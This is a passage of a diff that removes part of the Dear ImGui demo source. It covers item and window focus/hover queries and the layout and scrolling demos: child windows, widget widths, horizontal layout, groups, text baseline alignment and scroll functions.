we query every state in a single call to avoid storing them and to simplify the code. - ImGui::BulletText( - "Return value = %d\n" - "IsItemFocused() = %d\n" - "IsItemHovered() = %d\n" - "IsItemHovered(_AllowWhenBlockedByPopup) = %d\n" - "IsItemHovered(_AllowWhenBlockedByActiveItem) = %d\n" - "IsItemHovered(_AllowWhenOverlapped) = %d\n" - "IsItemHovered(_RectOnly) = %d\n" - "IsItemActive() = %d\n" - "IsItemEdited() = %d\n" - "IsItemActivated() = %d\n" - "IsItemDeactivated() = %d\n" - "IsItemDeactivatedAfterEdit() = %d\n" - "IsItemVisible() = %d\n" - "IsItemClicked() = %d\n" - "IsItemToggledOpen() = %d\n" - "GetItemRectMin() = (%.1f, %.1f)\n" - "GetItemRectMax() = (%.1f, %.1f)\n" - "GetItemRectSize() = (%.1f, %.1f)", - ret, - ImGui::IsItemFocused(), - ImGui::IsItemHovered(), - ImGui::IsItemHovered(ImGuiHoveredFlags_AllowWhenBlockedByPopup), - ImGui::IsItemHovered(ImGuiHoveredFlags_AllowWhenBlockedByActiveItem), - ImGui::IsItemHovered(ImGuiHoveredFlags_AllowWhenOverlapped), - ImGui::IsItemHovered(ImGuiHoveredFlags_RectOnly), - ImGui::IsItemActive(), - ImGui::IsItemEdited(), - ImGui::IsItemActivated(), - ImGui::IsItemDeactivated(), - ImGui::IsItemDeactivatedAfterEdit(), - ImGui::IsItemVisible(), - ImGui::IsItemClicked(), - ImGui::IsItemToggledOpen(), - ImGui::GetItemRectMin().x, ImGui::GetItemRectMin().y, - ImGui::GetItemRectMax().x, ImGui::GetItemRectMax().y, - ImGui::GetItemRectSize().x, ImGui::GetItemRectSize().y - ); - - static bool embed_all_inside_a_child_window = false; - ImGui::Checkbox("Embed everything inside a child window (for additional testing)", &embed_all_inside_a_child_window); - if (embed_all_inside_a_child_window) - ImGui::BeginChild("outer_child", ImVec2(0, ImGui::GetFontSize() * 20.0f), true); - - // Testing IsWindowFocused() function with its various flags. - // Note that the ImGuiFocusedFlags_XXX flags can be combined. - ImGui::BulletText( - "IsWindowFocused() = %d\n" - "IsWindowFocused(_ChildWindows) = %d\n" - "IsWindowFocused(_ChildWindows|_RootWindow) = %d\n" - "IsWindowFocused(_RootWindow) = %d\n" - "IsWindowFocused(_AnyWindow) = %d\n", - ImGui::IsWindowFocused(), - ImGui::IsWindowFocused(ImGuiFocusedFlags_ChildWindows), - ImGui::IsWindowFocused(ImGuiFocusedFlags_ChildWindows | ImGuiFocusedFlags_RootWindow), - ImGui::IsWindowFocused(ImGuiFocusedFlags_RootWindow), - ImGui::IsWindowFocused(ImGuiFocusedFlags_AnyWindow)); - - // Testing IsWindowHovered() function with its various flags. - // Note that the ImGuiHoveredFlags_XXX flags can be combined. - ImGui::BulletText( - "IsWindowHovered() = %d\n" - "IsWindowHovered(_AllowWhenBlockedByPopup) = %d\n" - "IsWindowHovered(_AllowWhenBlockedByActiveItem) = %d\n" - "IsWindowHovered(_ChildWindows) = %d\n" - "IsWindowHovered(_ChildWindows|_RootWindow) = %d\n" - "IsWindowHovered(_ChildWindows|_AllowWhenBlockedByPopup) = %d\n" - "IsWindowHovered(_RootWindow) = %d\n" - "IsWindowHovered(_AnyWindow) = %d\n", - ImGui::IsWindowHovered(), - ImGui::IsWindowHovered(ImGuiHoveredFlags_AllowWhenBlockedByPopup), - ImGui::IsWindowHovered(ImGuiHoveredFlags_AllowWhenBlockedByActiveItem), - ImGui::IsWindowHovered(ImGuiHoveredFlags_ChildWindows), - ImGui::IsWindowHovered(ImGuiHoveredFlags_ChildWindows | ImGuiHoveredFlags_RootWindow), - ImGui::IsWindowHovered(ImGuiHoveredFlags_ChildWindows | ImGuiHoveredFlags_AllowWhenBlockedByPopup), - ImGui::IsWindowHovered(ImGuiHoveredFlags_RootWindow), - ImGui::IsWindowHovered(ImGuiHoveredFlags_AnyWindow)); - - ImGui::BeginChild("child", ImVec2(0, 50), true); - ImGui::Text("This is another child window for testing the _ChildWindows flag."); - ImGui::EndChild(); - if (embed_all_inside_a_child_window) - ImGui::EndChild(); - - static char unused_str[] = "This widget is only here to be able to tab-out of the widgets above."; - ImGui::InputText("unused", unused_str, IM_ARRAYSIZE(unused_str), ImGuiInputTextFlags_ReadOnly); - - // Calling IsItemHovered() after begin returns the hovered status of the title bar. - // This is useful in particular if you want to create a context menu associated to the title bar of a window. - static bool test_window = false; - ImGui::Checkbox("Hovered/Active tests after Begin() for title bar testing", &test_window); - if (test_window) - { - ImGui::Begin("Title bar Hovered/Active tests", &test_window); - if (ImGui::BeginPopupContextItem()) // <-- This is using IsItemHovered() - { - if (ImGui::MenuItem("Close")) { test_window = false; } - ImGui::EndPopup(); - } - ImGui::Text( - "IsItemHovered() after begin = %d (== is title bar hovered)\n" - "IsItemActive() after begin = %d (== is window being clicked/moved)\n", - ImGui::IsItemHovered(), ImGui::IsItemActive()); - ImGui::End(); - } - - ImGui::TreePop(); - } -} - -static void ShowDemoWindowLayout() -{ - if (!ImGui::CollapsingHeader("Layout & Scrolling")) - return; - - if (ImGui::TreeNode("Child windows")) - { - HelpMarker("Use child windows to begin into a self-contained independent scrolling/clipping regions within a host window."); - static bool disable_mouse_wheel = false; - static bool disable_menu = false; - ImGui::Checkbox("Disable Mouse Wheel", &disable_mouse_wheel); - ImGui::Checkbox("Disable Menu", &disable_menu); - - // Child 1: no border, enable horizontal scrollbar - { - ImGuiWindowFlags window_flags = ImGuiWindowFlags_HorizontalScrollbar; - if (disable_mouse_wheel) - window_flags |= ImGuiWindowFlags_NoScrollWithMouse; - ImGui::BeginChild("ChildL", ImVec2(ImGui::GetWindowContentRegionWidth() * 0.5f, 260), false, window_flags); - for (int i = 0; i < 100; i++) - ImGui::Text("%04d: scrollable region", i); - ImGui::EndChild(); - } - - ImGui::SameLine(); - - // Child 2: rounded border - { - ImGuiWindowFlags window_flags = ImGuiWindowFlags_None; - if (disable_mouse_wheel) - window_flags |= ImGuiWindowFlags_NoScrollWithMouse; - if (!disable_menu) - window_flags |= ImGuiWindowFlags_MenuBar; - ImGui::PushStyleVar(ImGuiStyleVar_ChildRounding, 5.0f); - ImGui::BeginChild("ChildR", ImVec2(0, 260), true, window_flags); - if (!disable_menu && ImGui::BeginMenuBar()) - { - if (ImGui::BeginMenu("Menu")) - { - ShowExampleMenuFile(); - ImGui::EndMenu(); - } - ImGui::EndMenuBar(); - } - if (ImGui::BeginTable("split", 2, ImGuiTableFlags_Resizable | ImGuiTableFlags_NoSavedSettings)) - { - for (int i = 0; i < 100; i++) - { - char buf[32]; - sprintf(buf, "%03d", i); - ImGui::TableNextColumn(); - ImGui::Button(buf, ImVec2(-FLT_MIN, 0.0f)); - } - ImGui::EndTable(); - } - ImGui::EndChild(); - ImGui::PopStyleVar(); - } - - ImGui::Separator(); - - // Demonstrate a few extra things - // - Changing ImGuiCol_ChildBg (which is transparent black in default styles) - // - Using SetCursorPos() to position child window (the child window is an item from the POV of parent window) - // You can also call SetNextWindowPos() to position the child window. The parent window will effectively - // layout from this position. - // - Using ImGui::GetItemRectMin/Max() to query the "item" state (because the child window is an item from - // the POV of the parent window). See 'Demo->Querying Status (Active/Focused/Hovered etc.)' for details. - { - static int offset_x = 0; - ImGui::SetNextItemWidth(100); - ImGui::DragInt("Offset X", &offset_x, 1.0f, -1000, 1000); - - ImGui::SetCursorPosX(ImGui::GetCursorPosX() + (float)offset_x); - ImGui::PushStyleColor(ImGuiCol_ChildBg, IM_COL32(255, 0, 0, 100)); - ImGui::BeginChild("Red", ImVec2(200, 100), true, ImGuiWindowFlags_None); - for (int n = 0; n < 50; n++) - ImGui::Text("Some test %d", n); - ImGui::EndChild(); - bool child_is_hovered = ImGui::IsItemHovered(); - ImVec2 child_rect_min = ImGui::GetItemRectMin(); - ImVec2 child_rect_max = ImGui::GetItemRectMax(); - ImGui::PopStyleColor(); - ImGui::Text("Hovered: %d", child_is_hovered); - ImGui::Text("Rect of child window is: (%.0f,%.0f) (%.0f,%.0f)", child_rect_min.x, child_rect_min.y, child_rect_max.x, child_rect_max.y); - } - - ImGui::TreePop(); - } - - if (ImGui::TreeNode("Widgets Width")) - { - // Use SetNextItemWidth() to set the width of a single upcoming item. - // Use PushItemWidth()/PopItemWidth() to set the width of a group of items. - // In real code use you'll probably want to choose width values that are proportional to your font size - // e.g. Using '20.0f * GetFontSize()' as width instead of '200.0f', etc. - - static float f = 0.0f; - static bool show_indented_items = true; - ImGui::Checkbox("Show indented items", &show_indented_items); - - ImGui::Text("SetNextItemWidth/PushItemWidth(100)"); - ImGui::SameLine(); HelpMarker("Fixed width."); - ImGui::PushItemWidth(100); - ImGui::DragFloat("float##1b", &f); - if (show_indented_items) - { - ImGui::Indent(); - ImGui::DragFloat("float (indented)##1b", &f); - ImGui::Unindent(); - } - ImGui::PopItemWidth(); - - ImGui::Text("SetNextItemWidth/PushItemWidth(-100)"); - ImGui::SameLine(); HelpMarker("Align to right edge minus 100"); - ImGui::PushItemWidth(-100); - ImGui::DragFloat("float##2a", &f); - if (show_indented_items) - { - ImGui::Indent(); - ImGui::DragFloat("float (indented)##2b", &f); - ImGui::Unindent(); - } - ImGui::PopItemWidth(); - - ImGui::Text("SetNextItemWidth/PushItemWidth(GetContentRegionAvail().x * 0.5f)"); - ImGui::SameLine(); HelpMarker("Half of available width.\n(~ right-cursor_pos)\n(works within a column set)"); - ImGui::PushItemWidth(ImGui::GetContentRegionAvail().x * 0.5f); - ImGui::DragFloat("float##3a", &f); - if (show_indented_items) - { - ImGui::Indent(); - ImGui::DragFloat("float (indented)##3b", &f); - ImGui::Unindent(); - } - ImGui::PopItemWidth(); - - ImGui::Text("SetNextItemWidth/PushItemWidth(-GetContentRegionAvail().x * 0.5f)"); - ImGui::SameLine(); HelpMarker("Align to right edge minus half"); - ImGui::PushItemWidth(-ImGui::GetContentRegionAvail().x * 0.5f); - ImGui::DragFloat("float##4a", &f); - if (show_indented_items) - { - ImGui::Indent(); - ImGui::DragFloat("float (indented)##4b", &f); - ImGui::Unindent(); - } - ImGui::PopItemWidth(); - - // Demonstrate using PushItemWidth to surround three items. - // Calling SetNextItemWidth() before each of them would have the same effect. - ImGui::Text("SetNextItemWidth/PushItemWidth(-FLT_MIN)"); - ImGui::SameLine(); HelpMarker("Align to right edge"); - ImGui::PushItemWidth(-FLT_MIN); - ImGui::DragFloat("##float5a", &f); - if (show_indented_items) - { - ImGui::Indent(); - ImGui::DragFloat("float (indented)##5b", &f); - ImGui::Unindent(); - } - ImGui::PopItemWidth(); - - ImGui::TreePop(); - } - - if (ImGui::TreeNode("Basic Horizontal Layout")) - { - ImGui::TextWrapped("(Use ImGui::SameLine() to keep adding items to the right of the preceding item)"); - - // Text - ImGui::Text("Two items: Hello"); ImGui::SameLine(); - ImGui::TextColored(ImVec4(1,1,0,1), "Sailor"); - - // Adjust spacing - ImGui::Text("More spacing: Hello"); ImGui::SameLine(0, 20); - ImGui::TextColored(ImVec4(1,1,0,1), "Sailor"); - - // Button - ImGui::AlignTextToFramePadding(); - ImGui::Text("Normal buttons"); ImGui::SameLine(); - ImGui::Button("Banana"); ImGui::SameLine(); - ImGui::Button("Apple"); ImGui::SameLine(); - ImGui::Button("Corniflower"); - - // Button - ImGui::Text("Small buttons"); ImGui::SameLine(); - ImGui::SmallButton("Like this one"); ImGui::SameLine(); - ImGui::Text("can fit within a text block."); - - // Aligned to arbitrary position. Easy/cheap column. - ImGui::Text("Aligned"); - ImGui::SameLine(150); ImGui::Text("x=150"); - ImGui::SameLine(300); ImGui::Text("x=300"); - ImGui::Text("Aligned"); - ImGui::SameLine(150); ImGui::SmallButton("x=150"); - ImGui::SameLine(300); ImGui::SmallButton("x=300"); - - // Checkbox - static bool c1 = false, c2 = false, c3 = false, c4 = false; - ImGui::Checkbox("My", &c1); ImGui::SameLine(); - ImGui::Checkbox("Tailor", &c2); ImGui::SameLine(); - ImGui::Checkbox("Is", &c3); ImGui::SameLine(); - ImGui::Checkbox("Rich", &c4); - - // Various - static float f0 = 1.0f, f1 = 2.0f, f2 = 3.0f; - ImGui::PushItemWidth(80); - const char* items[] = { "AAAA", "BBBB", "CCCC", "DDDD" }; - static int item = -1; - ImGui::Combo("Combo", &item, items, IM_ARRAYSIZE(items)); ImGui::SameLine(); - ImGui::SliderFloat("X", &f0, 0.0f, 5.0f); ImGui::SameLine(); - ImGui::SliderFloat("Y", &f1, 0.0f, 5.0f); ImGui::SameLine(); - ImGui::SliderFloat("Z", &f2, 0.0f, 5.0f); - ImGui::PopItemWidth(); - - ImGui::PushItemWidth(80); - ImGui::Text("Lists:"); - static int selection[4] = { 0, 1, 2, 3 }; - for (int i = 0; i < 4; i++) - { - if (i > 0) ImGui::SameLine(); - ImGui::PushID(i); - ImGui::ListBox("", &selection[i], items, IM_ARRAYSIZE(items)); - ImGui::PopID(); - //if (ImGui::IsItemHovered()) ImGui::SetTooltip("ListBox %d hovered", i); - } - ImGui::PopItemWidth(); - - // Dummy - ImVec2 button_sz(40, 40); - ImGui::Button("A", button_sz); ImGui::SameLine(); - ImGui::Dummy(button_sz); ImGui::SameLine(); - ImGui::Button("B", button_sz); - - // Manually wrapping - // (we should eventually provide this as an automatic layout feature, but for now you can do it manually) - ImGui::Text("Manually wrapping:"); - ImGuiStyle& style = ImGui::GetStyle(); - int buttons_count = 20; - float window_visible_x2 = ImGui::GetWindowPos().x + ImGui::GetWindowContentRegionMax().x; - for (int n = 0; n < buttons_count; n++) - { - ImGui::PushID(n); - ImGui::Button("Box", button_sz); - float last_button_x2 = ImGui::GetItemRectMax().x; - float next_button_x2 = last_button_x2 + style.ItemSpacing.x + button_sz.x; // Expected position if next button was on same line - if (n + 1 < buttons_count && next_button_x2 < window_visible_x2) - ImGui::SameLine(); - ImGui::PopID(); - } - - ImGui::TreePop(); - } - - if (ImGui::TreeNode("Groups")) - { - HelpMarker( - "BeginGroup() basically locks the horizontal position for new line. " - "EndGroup() bundles the whole group so that you can use \"item\" functions such as " - "IsItemHovered()/IsItemActive() or SameLine() etc. on the whole group."); - ImGui::BeginGroup(); - { - ImGui::BeginGroup(); - ImGui::Button("AAA"); - ImGui::SameLine(); - ImGui::Button("BBB"); - ImGui::SameLine(); - ImGui::BeginGroup(); - ImGui::Button("CCC"); - ImGui::Button("DDD"); - ImGui::EndGroup(); - ImGui::SameLine(); - ImGui::Button("EEE"); - ImGui::EndGroup(); - if (ImGui::IsItemHovered()) - ImGui::SetTooltip("First group hovered"); - } - // Capture the group size and create widgets using the same size - ImVec2 size = ImGui::GetItemRectSize(); - const float values[5] = { 0.5f, 0.20f, 0.80f, 0.60f, 0.25f }; - ImGui::PlotHistogram("##values", values, IM_ARRAYSIZE(values), 0, NULL, 0.0f, 1.0f, size); - - ImGui::Button("ACTION", ImVec2((size.x - ImGui::GetStyle().ItemSpacing.x) * 0.5f, size.y)); - ImGui::SameLine(); - ImGui::Button("REACTION", ImVec2((size.x - ImGui::GetStyle().ItemSpacing.x) * 0.5f, size.y)); - ImGui::EndGroup(); - ImGui::SameLine(); - - ImGui::Button("LEVERAGE\nBUZZWORD", size); - ImGui::SameLine(); - - if (ImGui::BeginListBox("List", size)) - { - ImGui::Selectable("Selected", true); - ImGui::Selectable("Not Selected", false); - ImGui::EndListBox(); - } - - ImGui::TreePop(); - } - - if (ImGui::TreeNode("Text Baseline Alignment")) - { - { - ImGui::BulletText("Text baseline:"); - ImGui::SameLine(); HelpMarker( - "This is testing the vertical alignment that gets applied on text to keep it aligned with widgets. " - "Lines only composed of text or \"small\" widgets use less vertical space than lines with framed widgets."); - ImGui::Indent(); - - ImGui::Text("KO Blahblah"); ImGui::SameLine(); - ImGui::Button("Some framed item"); ImGui::SameLine(); - HelpMarker("Baseline of button will look misaligned with text.."); - - // If your line starts with text, call AlignTextToFramePadding() to align text to upcoming widgets. - // (because we don't know what's coming after the Text() statement, we need to move the text baseline - // down by FramePadding.y ahead of time) - ImGui::AlignTextToFramePadding(); - ImGui::Text("OK Blahblah"); ImGui::SameLine(); - ImGui::Button("Some framed item"); ImGui::SameLine(); - HelpMarker("We call AlignTextToFramePadding() to vertically align the text baseline by +FramePadding.y"); - - // SmallButton() uses the same vertical padding as Text - ImGui::Button("TEST##1"); ImGui::SameLine(); - ImGui::Text("TEST"); ImGui::SameLine(); - ImGui::SmallButton("TEST##2"); - - // If your line starts with text, call AlignTextToFramePadding() to align text to upcoming widgets. - ImGui::AlignTextToFramePadding(); - ImGui::Text("Text aligned to framed item"); ImGui::SameLine(); - ImGui::Button("Item##1"); ImGui::SameLine(); - ImGui::Text("Item"); ImGui::SameLine(); - ImGui::SmallButton("Item##2"); ImGui::SameLine(); - ImGui::Button("Item##3"); - - ImGui::Unindent(); - } - - ImGui::Spacing(); - - { - ImGui::BulletText("Multi-line text:"); - ImGui::Indent(); - ImGui::Text("One\nTwo\nThree"); ImGui::SameLine(); - ImGui::Text("Hello\nWorld"); ImGui::SameLine(); - ImGui::Text("Banana"); - - ImGui::Text("Banana"); ImGui::SameLine(); - ImGui::Text("Hello\nWorld"); ImGui::SameLine(); - ImGui::Text("One\nTwo\nThree"); - - ImGui::Button("HOP##1"); ImGui::SameLine(); - ImGui::Text("Banana"); ImGui::SameLine(); - ImGui::Text("Hello\nWorld"); ImGui::SameLine(); - ImGui::Text("Banana"); - - ImGui::Button("HOP##2"); ImGui::SameLine(); - ImGui::Text("Hello\nWorld"); ImGui::SameLine(); - ImGui::Text("Banana"); - ImGui::Unindent(); - } - - ImGui::Spacing(); - - { - ImGui::BulletText("Misc items:"); - ImGui::Indent(); - - // SmallButton() sets FramePadding to zero. Text baseline is aligned to match baseline of previous Button. - ImGui::Button("80x80", ImVec2(80, 80)); - ImGui::SameLine(); - ImGui::Button("50x50", ImVec2(50, 50)); - ImGui::SameLine(); - ImGui::Button("Button()"); - ImGui::SameLine(); - ImGui::SmallButton("SmallButton()"); - - // Tree - const float spacing = ImGui::GetStyle().ItemInnerSpacing.x; - ImGui::Button("Button##1"); - ImGui::SameLine(0.0f, spacing); - if (ImGui::TreeNode("Node##1")) - { - // Placeholder tree data - for (int i = 0; i < 6; i++) - ImGui::BulletText("Item %d..", i); - ImGui::TreePop(); - } - - // Vertically align text node a bit lower so it'll be vertically centered with upcoming widget. - // Otherwise you can use SmallButton() (smaller fit). - ImGui::AlignTextToFramePadding(); - - // Common mistake to avoid: if we want to SameLine after TreeNode we need to do it before we add - // other contents below the node. - bool node_open = ImGui::TreeNode("Node##2"); - ImGui::SameLine(0.0f, spacing); ImGui::Button("Button##2"); - if (node_open) - { - // Placeholder tree data - for (int i = 0; i < 6; i++) - ImGui::BulletText("Item %d..", i); - ImGui::TreePop(); - } - - // Bullet - ImGui::Button("Button##3"); - ImGui::SameLine(0.0f, spacing); - ImGui::BulletText("Bullet text"); - - ImGui::AlignTextToFramePadding(); - ImGui::BulletText("Node"); - ImGui::SameLine(0.0f, spacing); ImGui::Button("Button##4"); - ImGui::Unindent(); - } - - ImGui::TreePop(); - } - - if (ImGui::TreeNode("Scrolling")) - { - // Vertical scroll functions - HelpMarker("Use SetScrollHereY() or SetScrollFromPosY() to scroll to a given vertical position."); - - static int track_item = 50; - static bool enable_track = true; - static bool enable_extra_decorations = false; - static float scroll_to_off_px = 0.0f; - static float scroll_to_pos_px = 200.0f; - - ImGui::Checkbox("Decoration", &enable_extra_decorations); - - ImGui::Checkbox("Track", &enable_track); - ImGui::PushItemWidth(100); - ImGui::SameLine(140); enable_track |= ImGui::DragInt("##item", &track_item, 0.25f, 0, 99, "Item = %d"); - - bool scroll_to_off = ImGui::Button("Scroll Offset"); - ImGui::SameLine(140); scroll_to_off |= ImGui::DragFloat("##off", &scroll_to_off_px, 1.00f, 0, FLT_MAX, "+%.0f px"); - - bool scroll_to_pos = ImGui::Button("Scroll To Pos"); - ImGui::SameLine(140); scroll_to_pos |= ImGui::DragFloat("##pos", &scroll_to_pos_px, 1.00f, -10, FLT_MAX, "X/Y = %.0f px"); - ImGui::PopItemWidth(); - - if (scroll_to_off || scroll_to_pos) - enable_track = false; - - ImGuiStyle& style = ImGui::GetStyle(); - float child_w = (ImGui::GetContentRegionAvail().x - 4 * style.ItemSpacing.x) / 5; - if (child_w < 1.0f) - child_w = 1.0f; - ImGui::PushID("##VerticalScrolling"); - for (int i = 0; i < 5; i++) - { - if (i > 0) ImGui::SameLine(); - ImGui::BeginGroup(); - const char* names[] = { "Top", "25%", "Center", "75%", "Bottom" }; - ImGui::TextUnformatted(names[i]); - - const ImGuiWindowFlags child_flags = enable_extra_decorations ? ImGuiWindowFlags_MenuBar : 0; - const ImGuiID child_id = ImGui::GetID((void*)(intptr_t)i); - const bool child_is_visible = ImGui::BeginChild(child_id, ImVec2(child_w, 200.0f), true, child_flags); - if (ImGui::BeginMenuBar()) - { - ImGui::TextUnformatted("abc"); - ImGui::EndMenuBar(); - } - if (scroll_to_off) - ImGui::SetScrollY(scroll_to_off_px); - if (scroll_to_pos) - ImGui::SetScrollFromPosY(ImGui::GetCursorStartPos().y + scroll_to_pos_px, i * 0.25f); - if (child_is_visible) // Avoid calling SetScrollHereY when running with culled items - { - for (int item = 0; item < 100; item++) - { - if (enable_track && item == track_item) - { - ImGui::TextColored(ImVec4(1, 1, 0, 1), "Item %d", item); - ImGui::SetScrollHereY(i * 0.25f); // 0.0f:top, 0.5f:center, 1.0f:bottom - } - else - { - ImGui::Text("Item %d", item); - } - } - } - float scroll_y = ImGui::GetScrollY(); - float scroll_max_y = ImGui::GetScrollMaxY(); - ImGui::EndChild(); - ImGui::Text("%.0f/%.0f", scroll_y, scroll_max_y); - ImGui::EndGroup(); - } - ImGui::PopID(); - - // Horizontal scroll functions - ImGui::Spacing(); - HelpMarker( - "Use SetScrollHereX() or SetScrollFromPosX() to scroll to a given horizontal position.\n\n" - "Because the clipping rectangle of most window hides half worth of WindowPadding on the " - "left/right, using SetScrollFromPosX(+1) will usually result in clipped text whereas the " - "equivalent SetScrollFromPosY(+1) wouldn't."); - ImGui::PushID("##HorizontalScrolling"); - for (int i = 0; i < 5; i++) - { - float child_height = ImGui::GetTextLineHeight() + style.ScrollbarSize + style.WindowPadding.y * 2.0f; - ImGuiWindowFlags child_flags = ImGuiWindowFlags_HorizontalScrollbar | (enable_extra_decorations ? ImGuiWindowFlags_AlwaysVerticalScrollbar : 0); - ImGuiID child_id = ImGui::GetID((void*)(intptr_t)i); - bool child_is_visible = ImGui::BeginChild(child_id, ImVec2(-100, child_height), true, child_flags); - if (scroll_to_off) - ImGui::SetScrollX(scroll_to_off_px); - if (scroll_to_pos) - ImGui::SetScrollFromPosX(ImGui::GetCursorStartPos().x + scroll_to_pos_px, i * 0.25f); - if (child_is_visible) // Avoid calling SetScrollHereY when running with culled items - { - for (int item = 0; item < 100; item++) - { - if (enable_track && item == track_item) - { - ImGui::TextColored(ImVec4(1, 1, 0, 1), "Item %d", item); - ImGui::SetScrollHereX(i * 0.25f); // 0.0f:left, 0.5f:center, 1.0f:right - } - else - { - ImGui::Text("Item %d", item); - } - ImGui::SameLine(); - } - } - float scroll_x = ImGui::GetScrollX(); - float scroll_max_x = ImGui::GetScrollMaxX(); - ImGui::EndChild(); - ImGui::SameLine(); - const char* names[] = { "Left", "25%", "Center", "75%", "Right" }; - ImGui::Text("%s\n%.0f/%.0f", names[i], scroll_x, scroll_max_x); - ImGui::Spacing(); - } - ImGui::PopID(); - - // Miscellaneous Horizontal Scrolling Demo - HelpMarker( - "Horizontal scrolling for a window is enabled via the ImGuiWindowFlags_HorizontalScrollbar flag.\n\n" - "You may want to also explicitly specify content width by using SetNextWindowContentWidth() before Begin()."); - static int lines = 7; - ImGui::SliderInt("Lines", &lines, 1, 15); - ImGui::PushStyleVar(ImGuiStyleVar_FrameRounding, 3.0f); - ImGui::PushStyleVar(ImGuiStyleVar_FramePadding, ImVec2(2.0f, 1.0f)); - ImVec2 scrolling_child_size = ImVec2(0, ImGui::GetFrameHeightWithSpacing() * 7 + 30); - ImGui::BeginChild("scrolling", scrolling_child_size, true, ImGuiWindowFlags_HorizontalScrollbar); - for (int line = 0; line < lines; line++) - { - // Display random stuff. For the sake of this trivial demo we are using basic Button() + SameLine() - // If you want to create your own time line for a real application you may be better off manipulating - // the cursor position yourself, aka using SetCursorPos/SetCursorScreenPos to position the widgets - // yourself. You may also want to use the lower-level ImDrawList API. - int num_buttons = 10 + ((line & 1) ? line * 9 : line * 3); - for (int n = 0; n < num_buttons; n++) - { - if (n > 0) ImGui::SameLine(); - ImGui::PushID(n + line * 1000); - char num_buf[16]; - sprintf(num_buf, "%d", n); - const char* label = (!(n % 15)) ? "FizzBuzz" : (!(n % 3)) ? "Fizz" : (!(n % 5)) ? "Buzz" : num_buf; - float hue = n * 0.05f; - ImGui::PushStyleColor(ImGuiCol_Button, (ImVec4)ImColor::HSV(hue, 0.6f, 0.6f)); - ImGui::PushStyleColor(ImGuiCol_ButtonHovered, (ImVec4)ImColor::HSV(hue, 0.7f, 0.7f)); - ImGui::PushStyleColor(ImGuiCol_ButtonActive, (ImVec4)ImColor::HSV(hue, 0.8f, 0.8f)); - ImGui::Button(label, ImVec2(40.0f + sinf((float)(line + n)) * 20.0f, 0.0f)); - ImGui::PopStyleColor(3); - ImGui::PopID(); - } - } - float scroll_x = ImGui::GetScrollX(); - float scroll_max_x = ImGui::GetScrollMaxX(); - ImGui::EndChild(); - ImGui::PopStyleVar(2); - float scroll_x_delta = 0.0f; - ImGui::SmallButton("<<"); - if (ImGui::IsItemActive()) - scroll_x_delta = -ImGui::GetIO().DeltaTime * 1000.0f; - ImGui::SameLine(); - ImGui::Text("Scroll from code"); ImGui::SameLine(); - ImGui::SmallButton(">>"); - if (ImGui::IsItemActive()) - scroll_x_delta = +ImGui::GetIO().DeltaTime * 1000.0f; - ImGui::SameLine(); - ImGui::Text("%.0f/%.0f", scroll_x, scroll_max_x); - if (scroll_x_delta != 0.0f) - { - // Demonstrate a trick: you can use Begin to set yourself in the context of another window - // (here we are already out of your child window) - ImGui::BeginChild("scrolling"); - ImGui::SetScrollX(ImGui::GetScrollX() + scroll_x_delta); - ImGui::EndChild(); - } - ImGui::Spacing(); - - static bool show_horizontal_contents_size_demo_window = false; - ImGui::Checkbox("Show Horizontal contents size demo window", &show_horizontal_contents_size_demo_window); - - if (show_horizontal_contents_size_demo_window) - { - static bool show_h_scrollbar = true; - static bool show_button = true; - static bool show_tree_nodes = true; - static bool show_text_wrapped = false; - static bool show_columns = true; - static bool show_tab_bar = true; - static bool show_child = false; - static bool explicit_content_size = false; - static float contents_size_x = 300.0f; - if (explicit_content_size) - ImGui::SetNextWindowContentSize(ImVec2(contents_size_x, 0.0f)); - ImGui::Begin("Horizontal contents size demo window", &show_horizontal_contents_size_demo_window, show_h_scrollbar ? ImGuiWindowFlags_HorizontalScrollbar : 0); - ImGui::PushStyleVar(ImGuiStyleVar_ItemSpacing, ImVec2(2, 0)); - ImGui::PushStyleVar(ImGuiStyleVar_FramePadding, ImVec2(2, 0)); - HelpMarker("Test of different widgets react and impact the work rectangle growing when horizontal scrolling is enabled.\n\nUse 'Metrics->Tools->Show windows rectangles' to visualize rectangles."); - ImGui::Checkbox("H-scrollbar", &show_h_scrollbar); - ImGui::Checkbox("Button", &show_button); // Will grow contents size (unless explicitly overwritten) - ImGui::Checkbox("Tree nodes", &show_tree_nodes); // Will grow contents size and display highlight over full width - ImGui::Checkbox("Text wrapped", &show_text_wrapped);// Will grow and use contents size - ImGui::Checkbox("Columns", &show_columns); // Will use contents size - ImGui::Checkbox("Tab bar", &show_tab_bar); // Will use contents size - ImGui::Checkbox("Child", &show_child); // Will grow and use contents size - ImGui::Checkbox("Explicit content size", &explicit_content_size); - ImGui::Text("Scroll %.1f/%.1f %.1f/%.1f", ImGui::GetScrollX(), ImGui::GetScrollMaxX(), ImGui::GetScrollY(), ImGui::GetScrollMaxY()); - if (explicit_content_size) - { - ImGui::SameLine(); - ImGui::SetNextItemWidth(100); - ImGui::DragFloat("##csx", &contents_size_x); - ImVec2 p = ImGui::GetCursorScreenPos(); - ImGui::GetWindowDrawList()->AddRectFilled(p, ImVec2(p.x + 10, p.y + 10), IM_COL32_WHITE); - ImGui::GetWindowDrawList()->AddRectFilled(ImVec2(p.x + contents_size_x - 10, p.y), ImVec2(p.x + contents_size_x, p.y + 10), IM_COL32_WHITE); - ImGui::Dummy(ImVec2(0, 10)); - } - ImGui::PopStyleVar(2); - ImGui::Separator(); - if (show_button) - { - ImGui::Button("this is a 300-wide button", ImVec2(300, 0)); - } - if (show_tree_nodes) - { - bool open = true; - if (ImGui::TreeNode("this is a tree node")) - { - if (ImGui::TreeNode("another one of those tree node...")) - { - ImGui::Text("Some tree contents"); - ImGui::TreePop(); - } - ImGui::TreePop(); - } - ImGui::CollapsingHeader("CollapsingHeader", &open); - } - if (show_text_wrapped) - { - ImGui::TextWrapped("This text should automatically wrap on the edge of the work rectangle."); - } - if (show_columns) - { - ImGui::Text("Tables:"); - if (ImGui::BeginTable("table", 4, ImGuiTableFlags_Borders)) - { - for (int n = 0; n < 4; n++) - { - ImGui::TableNextColumn(); - ImGui::Text("Width %.2f", ImGui::GetContentRegionAvail().x); - } - ImGui::EndTable(); - } - ImGui::Text("Columns:"); - ImGui::Columns(4); - for (int n = 0; n < 4; n++) - { - ImGui::Text("Width %.2f", ImGui::GetColumnWidth()); - ImGui::NextColumn(); - } - ImGui::Columns(1); - } - if (show_tab_bar && ImGui::BeginTabBar("Hello")) - { - if (ImGui::BeginTabItem("OneOneOne")) { ImGui::EndTabItem(); } - if (ImGui::BeginTabItem("TwoTwoTwo")) { ImGui::EndTabItem(); } - if (ImGui::BeginTabItem("ThreeThreeThree")) { ImGui::EndTabItem(); } - if 